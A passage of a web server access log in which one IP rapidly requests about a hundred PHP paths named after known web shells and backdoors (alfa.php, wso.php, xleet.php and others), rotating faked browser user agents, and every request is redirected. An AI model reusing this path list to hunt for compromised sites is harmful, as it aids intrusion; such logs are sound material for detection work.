Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:54 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:55 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:55 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:56 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:44:57 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:57 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:58 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:58 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.190 - - [09/Apr/2026:00:44:59 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:59 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:00 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:45:00 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:01 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:45:01 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:02 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:02 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:03 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:45:03 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:04 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:04 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:45:05 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:05 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:06 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:06 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:07 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:07 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:08 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:08 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:09 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.190 - - [09/Apr/2026:00:45:10 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:45:10 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:11 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:11 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:12 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:45:12 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:13 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:13 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:14 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:14 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:15 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:15 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:45:16 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:16 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:17 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:17 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 103.214.20.190 - - [09/Apr/2026:00:45:18 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:18 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:19 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:19 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:20 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:20 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:21 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:21 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:45:22 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:22 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:23 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:23 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:45:24 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:24 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 103.214.20.190 - - [09/Apr/2026:00:45:25 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:25 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:26 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:26 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:27 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:27 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:28 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:29 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:29 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:30 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:30 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:31 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:31 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 103.214.20.190 - - [09/Apr/2026:00:45:32 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 103.214.20.190 - - [09/Apr/2026:00:45:32 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:45:33 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:33 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:45:34 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:34 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:35 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:35 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:36 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.190 - - [09/Apr/2026:00:45:36 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:37 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:37 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:38 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:45:38 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:39 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:39 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:40 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:40 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:41 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:41 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.190 - - [09/Apr/2026:00:45:42 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:42 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:43 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:45:44 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:44 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:45 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:45:45 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.190 - - [09/Apr/2026:00:45:46 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:45:46 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:45:47 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:47 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:48 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:48 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:49 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:49 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:50 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:45:50 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:51 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:51 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:45:52 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 